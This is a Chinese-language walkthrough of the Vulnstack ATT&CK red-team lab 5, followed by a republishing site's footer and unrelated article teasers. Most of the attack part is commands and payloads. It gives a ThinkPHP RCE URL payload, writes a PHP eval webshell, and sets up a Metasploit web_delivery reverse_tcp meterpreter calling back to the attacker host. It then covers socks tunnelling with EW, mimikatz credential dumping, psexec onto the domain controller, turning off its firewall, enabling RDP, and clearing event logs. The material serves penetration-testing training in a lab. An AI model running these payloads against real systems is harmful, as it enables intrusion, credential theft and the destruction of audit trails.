Vulnstack----5、ATTCK红队评估实战靶场五

文章目录

  • 一 环境搭建
  • 二 外网渗透
  • 三 内网信息收集
    • 3.1 本机信息收集
    • 3.2 域内信息收集
  • 四 横向移动
    • 4.1 路由转发和代理通道
    • 4.2 抓取域用户密码
    • 4.3 使用Psexec登录域控
    • 4.4 3389远程登录
  • 五、痕迹清理


一 环境搭建


1、项目地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

2、环境拓扑

3、网络配置信息

1.VMware新建网卡VMnet6,选择仅主机模式,并将网段IP设置为192.168.138.0

2.Win7设置双网卡,一个网卡选择VMnet6、另一个NAT
  模拟外网IP:192.168.111.129(在Win7主机开启IP自动获取)
  内网IP:192.168.138.136
  账号密码:sun\heart 123.com 和 sun\Administrator dc123.com

3.Windows 2008 连接VMnet6
  内网IP:192.168.138.138
  sun\admin 2020.com

4.攻击机器Kali连接NAT
  IP:192.168.111.128

4、开启web环境


二 外网渗透


1.端口扫描

nmap -T4 -sC -sV 192.168.111.129

2.访问80端口

http://192.168.111.129
#尝试页面报错,获取thinkphp具体版本
http://192.168.111.129/?s=1

3.搜索thinkphp相关漏洞

searchsploit thinkphp

4.最后一条为RCE,查看46150.txt

cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt

漏洞描述: 由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST[‘_method’] 来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 $_POST[‘_method’]=‘__construct’ 而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

5.使用payload进行攻击测试,whoami执行成功

http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

6.写入webshell

#写入webshell的命令
echo "<?php @eval($_POST[whoami]);?>" > shell.php
http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[whoami]);?>" > shell.php
http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

7.蚁剑连接

shell:http://192.168.111.129/shell.php

三 内网信息收集


ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
whoami          # 查看当前用户
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享 
net config workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators   # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "domain controllers" /domain  # 查看域控制器(可能有多台)

3.1 本机信息收集

1.执行ipconfig
双网卡,外网ip:192.168.111.129,内网ip:192.168.138.136

2.执行whoami
administrator 管理员账户

3.执行 net config workstation
域环境名为 sun

3.2 域内信息收集

1.net user /domain
查看域用户

2.net group "domain computers" /domain
查看域内主机

3.net group "domain controllers" /domain
查看域控制器

4.net group "domain admins" /domain
查看域管理员

5.ping DC.sun.com
域控制器为DC$,域名为sun.com域管理员为Administrator。ping DC$得到域控的IP:192.168.138.138


四 横向移动


4.1 路由转发和代理通道

1.生成一个Meterpreter

Metasploit的Web Delivery Script是一个多功能模块,可在托管有效负载的攻击机器上创建服务器。当受害者连接到攻击服务器时,负载将在受害者机器上执行。此漏洞需要一种在受害机器上执行命令的方法。特别是你必须能够从受害者到达攻击机器。远程命令执行是使用此模块的攻击向量的一个很好的例子。Web Delivery脚本适用于php,python和基于PowerShell的应用程序。

# 生成一个powershell类型的payload
use exploit/multi/script/web_delivery
set target 2    # 选择使用powershell类型的payload
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.111.128
run

蚁剑执行生成的payload,反弹回一个meterpreter的shell

2.添加路由
在msfconsole里面添加一个通向192.168.138.0网段的路由

route add 192.168.138.0 255.255.255.0 1
route print

3.搭建代理通道

攻击端上传ew_for_linux64并执行如下命令:

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

Win7上传ew_for_Win.exe并执行如下命令:

start ew_for_Win.exe -s rssocks -d 192.168.111.128 -e 1234

4.配置proxychain
将socks5服务器指向127.0.0.1:1080,便可以使用proxychains将我们的程序代理进内网。

vim /etc/proxychains4.conf

4.2 抓取域用户密码

1.使用wiki模块抓取密码

load kiwi

注意结尾警告:64位机器上运行32的Kiwi

2.进程迁移

 # 可以看到x64 和 x86的进程ps 
# 通过进程id,选择一个64为进程进行迁移
migrate pid  

3.密码抓取

kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

抓取到域管理员账号密码:Administrator:Test@1234

4.3 使用Psexec登录域控

1.使用exploit/windows/smb/psexec模块

use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass Test@1234
set payload windows/meterpreter/bind_tcp
run

2.远程关闭域控防火墙
sessions创建失败,可能是由于防火墙导致,远程关闭。

net use \\192.168.138.138\ipc$ "Test@1234" /user:"administrator"
net use

利用sc创建服务来远程关闭Windows 2008的防火墙

#创建服务
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
#启动服务
sc \\192.168.138.138 start unablefirewall

3.使用exploit/windows/smb/psexec模块

4.4 3389远程登录

1.开启域控3389远程桌面

use post/windows/manage/enable_rdp
set session 1
run

2.登录域控


五、痕迹清理


1.查看事件日志

run event_manager -i

2.清除事件日志(包括六种日志类型)

run event_manager -c

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/98297.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用docker部署db2

1.使用docker部署db2 1.1 拉db2镜像 将db2镜像拉起到本地。 docker pull ibmcom/db21.2启动容器 docker run -d -p 50000:50000 --name db2 --privilegedtrue -e DB2INST1_PASSWORDdbPassword DBNAMEjumpdb -e LICENSEaccept -v /usr/local/db2:/database ibmcom/db2实例化…

详解TCP/IP的三次握手和四次挥手

文章目录 前言一、TCP/IP协议的三次握手1.1 三次握手流程 二、TCP/IP的四次挥手2.1 四次挥手流程 三、主要字段3.1、标志位&#xff08;Flags&#xff09;3.2、序号&#xff08;sequence number&#xff09;3.3、确认号&#xff08;acknowledgement number&#xff09; 四、状态…

视频监控/视频汇聚/视频云存储EasyCVR平台HLS流集成在小程序无法播放问题排查

安防视频/视频云存储/视频集中存储EasyCVR视频监控综合管理平台可以根据不同的场景需求&#xff0c;让平台在内网、专网、VPN、广域网、互联网等各种环境下进行音视频的采集、接入与多端分发。在视频能力上&#xff0c;视频云存储平台EasyCVR可实现视频实时直播、云端录像、视频…

如何快速搭建母婴行业的微信小程序?

如果你想为你的母婴行业打造一个独特的小程序&#xff0c;但没有任何编程经验&#xff0c;别担心&#xff01;现在有许多小程序制作平台提供了简单易用的工具&#xff0c;让你可以轻松地建立自己的小程序。接下来&#xff0c;我将为你详细介绍搭建母婴行业小程序的步骤。 首先&…

数学建模--三维图像绘制的Python实现

目录 1.绘制三维坐标轴的方法 2.绘制三维函数的样例1 3.绘制三维函数的样例2 4.绘制三维函数的样例3 5.绘制三维函数的样例4 6.绘制三维函数的样例5 1.绘制三维坐标轴的方法 #%% #1.绘制三维坐标轴的方法 from matplotlib import pyplot as plt from mpl_toolkits.mplot3…

【JPC出版】第二届能源与电力系统国际学术会议 (ICEEPS 2023)

第二届能源与电力系统国际学术会议 (ICEEPS 2023) 2023 2nd International Conference on Energy and Electrical Power Systems 第二届能源与电力系统国际学术会议 (ICEEPS 2023)将于2023年10月27日至29日在中国厦门举行。ICEEPS 将汇集能源科学、电气工程和电力系统领域的…

QTableView合并单元格

QtableView的功能 QTableView是Qt框架提供的用于显示表格数据的类。它是基于MVC&#xff08;模型-视图-控制器&#xff09;设计模式的一部分&#xff0c;用于将数据模型和界面视图分离。 以下是一些QTableView的主要特点和功能&#xff1a; 1. 显示表格数据&#xff1a; QTa…

淘宝数据库,主键如何设计的?

聊一个实际问题&#xff1a;淘宝的数据库&#xff0c;主键是如何设计的&#xff1f; 某些错的离谱的答案还在网上年复一年的流传着&#xff0c;甚至还成为了所谓的 MySQL 军规。其中&#xff0c;一个最明显的错误就是关于MySQL 的主键设计。 大部分人的回答如此自信&#xff…

关于el-input和el-select宽度不一致问题解决

1. 情景一 单列布局 对于上图这种情况&#xff0c;只需要给el-select加上style"width: 100%"即可&#xff0c;如下&#xff1a; <el-select v-model"fjForm.region" placeholder"请选择阀门类型" style"width: 100%"><el-o…

QT C++ 实现网络聊天室

一、基本原理及流程 1&#xff09;知识回顾&#xff08;C语言中的TCP流程&#xff09; 2&#xff09;QT中的服务器端/客户端的操作流程 二、代码实现 1&#xff09;服务器 .ui .pro 在pro文件中添加network库 .h #ifndef WIDGET_H #define WIDGET_H#include <QWidget>…

喜讯 | 数智经营新典范,体验家XMPlus荣获「年度数智经营服务商」

7月27日&#xff0c;“助力运营知识与创新传播”的内容服务平台——运营研究社举行了「2023数字化运营生态大会」&#xff0c;会上正式揭晓了「2023数字化运营生态大奖」的四大榜单&#xff0c;体验家XMPlus荣获「年度数智经营服务商」&#xff01;现场有800运营伙伴齐聚&#…

error:03000086:digital envelope routines::initialization error

项目背景 前端vue项目启动突然报错error:03000086:digital envelope routines::initialization error 我用的开发工具是vscode&#xff0c;node版本是v18.17.0 前端项目版本如下↓ 具体报错如下↓ 报错原因 node版本过高 解决方法 1输入命令 $env:NODE_OPTIONS"--op…